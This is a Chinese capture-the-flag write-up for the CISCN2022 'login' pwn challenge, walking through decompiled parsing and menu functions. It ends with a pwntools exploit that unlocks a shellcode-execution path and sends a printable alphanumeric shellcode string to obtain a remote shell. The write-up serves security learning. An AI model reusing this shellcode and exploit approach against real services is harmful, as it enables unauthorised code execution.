CISCN2022_login
例行检查
上来就是保护机制全开,直接到IDA中分析;
逆向分析
main函数:
程序主逻辑在sub_FFD函数中,
unsigned __int64 __fastcall sub_FFD(_BYTE *our_content)
{
char *sa; // [rsp+8h] [rbp-48h]
char *maohao_addr; // [rsp+8h] [rbp-48h]
char *sc; // [rsp+8h] [rbp-48h]
char *sd; // [rsp+8h] [rbp-48h]
char v7; // [rsp+17h] [rbp-39h]
int v8; // [rsp+1Ch] [rbp-34h]
int v9; // [rsp+2Ch] [rbp-24h]
void *dest; // [rsp+30h] [rbp-20h]
char *s1; // [rsp+38h] [rbp-18h]
char *nptr; // [rsp+40h] [rbp-10h]
unsigned __int64 v13; // [rsp+48h] [rbp-8h]
v13 = __readfsqword(0x28u);
memset(qword_202040, 0, sizeof(qword_202040));// 对全局变量进行初始化
v8 = 0; // v8控制循环次数
v7 = 0;
dest = 0LL;
while ( !*our_content || *our_content != '\n' && (*our_content != '\r' || our_content[1] != '\n') )// 没有输入,或者第一个字符是回车,并且我们的输入不为/r或/n,就往下进行
{
if ( v8 <= 5 ) // 循环5次
qword_202040[2 * v8] = our_content; // 将我们的内容赋值给全局变量
maohao_addr = strchr(our_content, ':');
if ( !maohao_addr ) // 如果我们的输入中不存在‘:’的话,就退出
{
puts("error.");
exit(1);
}
*maohao_addr = 0;
for ( sc = maohao_addr + 1; *sc && (*sc == ' ' || *sc == '\r' || *sc == '\n' || *sc == '\t'); ++sc )
*sc = 0; // 将冒号后的' ','\r','\n','\t'置为0
if ( !*sc ) // 如果冒号后没值,就退出
{
puts("abort.");
exit(2);
}
if ( v8 <= 5 )
qword_202040[2 * v8 + 1] = sc; // 将冒号后的地址赋给v8+1的指针
sd = strchr(sc, '\n'); // 在sc里检索回车
if ( !sd ) // 没有的话就退出
{
puts("error.");
exit(3);
}
*sd = 0;
our_content = sd + 1; // 下一个回车后的地址赋值给our_content,作为我们的输入
if ( *our_content == '\r' )
*our_content++ = 0; // 如果our_content开头是'\r'的话,就置0
s1 = (char *)qword_202040[2 * v8]; // s1为我们最开始的输入
nptr = (char *)qword_202040[2 * v8 + 1];
if ( !strcasecmp(s1, "opt") )
{
if ( v7 )
{
puts("error.");
exit(5);
}
v7 = atoi(nptr); // 将nptr中的字符或整型类型转化为整型,作为下边的选择来进入不同的分支
}
else
{
if ( strcasecmp(s1, "msg") )
{
puts("error.");
exit(4);
}
if ( strlen(nptr) <= 1 )
{
puts("error.");
exit(5);
}
v9 = strlen(nptr) - 1;
if ( dest )
{
puts("error.");
exit(5);
}
dest = calloc(v9 + 8, 1uLL);
if ( v9 <= 0 )
{
puts("error.");
exit(5);
}
memcpy(dest, nptr, v9);
}
++v8;
}
*our_content = 0;
sa = our_content + 1;
if ( *sa == 10 )
*sa = 0;
switch ( v7 ) //菜单
{
case 2:
sub_DA8((const char *)dest);
break;
case 3:
sub_EFE((const char *)dest);
break;
case 1:
sub_CBD((const char *)dest);
break;
default:
puts("error.");
exit(6);
}
return __readfsqword(0x28u) ^ v13;
}
要正确输入进入程序的菜单确实需要逆向好一会儿(大牛轻点儿喷),下边就是对菜单的三个函数的分析了,
sub_DA8():
unsigned __int64 __fastcall sub_DA8(const char *a1)
{
unsigned int v1; // eax
size_t v2; // rax
int i; // [rsp+14h] [rbp-2Ch]
void *dest; // [rsp+18h] [rbp-28h]
unsigned __int64 v6; // [rsp+28h] [rbp-18h]
v6 = __readfsqword(0x28u);
for ( i = 0; i < strlen(a1); ++i )
{
if ( !isprint(a1[i]) && a1[i] != 10 )
{
puts("oh!");
exit(-1);
}
}
if ( unk_202028 != 1 ) //先进行一个检查,如果unk_202028不等于1的话,就直接退出
{
puts("oh!");
exit(-1);
}
if ( unk_202024 ) //unk_202028等于1,且unk_202024存在值,就会在下边调用shellcode
{
v1 = getpagesize();
dest = (void *)(int)mmap((char *)&loc_FFE + 2, v1, 7, 34, 0, 0LL);
v2 = strlen(a1);
memcpy(dest, a1, v2); //将我们的输入copy到dest中
((void (*)(void))dest)(); //对我们的输入进行调用
}
else
{
puts(a1);
}
return __readfsqword(0x28u) ^ v6;
}
这里就是很明显的一个写shellcode的地方,但存在检查机制;
sub_EFE():
unsigned __int64 __fastcall sub_EFE(const char *a1)
{
int i; // [rsp+14h] [rbp-1Ch]
unsigned __int64 v3; // [rsp+18h] [rbp-18h]
v3 = __readfsqword(0x28u);
for ( i = 0; i < strlen(a1); ++i )
{
if ( !isprint(a1[i]) && a1[i] != 10 )
{
puts("oh!");
exit(-1);
}
}
if ( !unk_202028 )
{
puts("oh!");
exit(-1);
}
if ( !strcmp(a1, "eX1t") )
{
unk_202028 = 0; //这里将unk_202028,unk_202024的值全赋值为0,
unk_202024 = 0;
}
return __readfsqword(0x28u) ^ v3;
}
将以上两个全局变量赋值为0的操作是通不过刚才的检查机制的,
sub_CBD():
unsigned __int64 __fastcall sub_CBD(const char *a1)
{
int i; // [rsp+14h] [rbp-1Ch]
unsigned __int64 v3; // [rsp+18h] [rbp-18h]
v3 = __readfsqword(0x28u);
for ( i = 0; i < strlen(a1); ++i )
{
if ( !isprint(a1[i]) && a1[i] != 10 )
{
puts("oh!");
exit(-1);
}
}
if ( !strcmp(a1, "ro0t") )
{
unk_202028 = 1;
unk_202024 = 1;
}
else
{
unk_202028 = 1;
}
return __readfsqword(0x28u) ^ v3;
}
这里选项1的话,就会进入到这个函数里,将unk_202028,unk_202024的值赋值为1,可以通过检查机制,
思路
我们先去调用选项1的函数,将unk_202028,unk_202024两个全局变量赋值为1,接着去调用选项2的函数,去执行shellcode,
exp
#!/usr/bin/env python
#coding=utf-8
from pwn import*
ip = "101.201.123.35"
port = 34973
io = remote(ip,port)
#io = process('./login')
elf = ELF('./login')
libc = elf.libc
context(log_level='debug',os='linux',arch='amd64')
#gdb.attach(io,'b *$rebase(0x146E)')
io.recvuntil(">>>")
io.sendline('opt:1\r\nmsg:ro0t\r\n')
shellcode = '''
Rh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t
'''
#gdb.attach(io,'b *$rebase(0xda8)')
io.recvuntil(">>>")
io.sendline('opt:2\r\nmsg:'+shellcode+'\r\n')
io.interactive()
喜提flag!!!
大家觉得我的文章好的话就点点关注吧~
贴上我的博客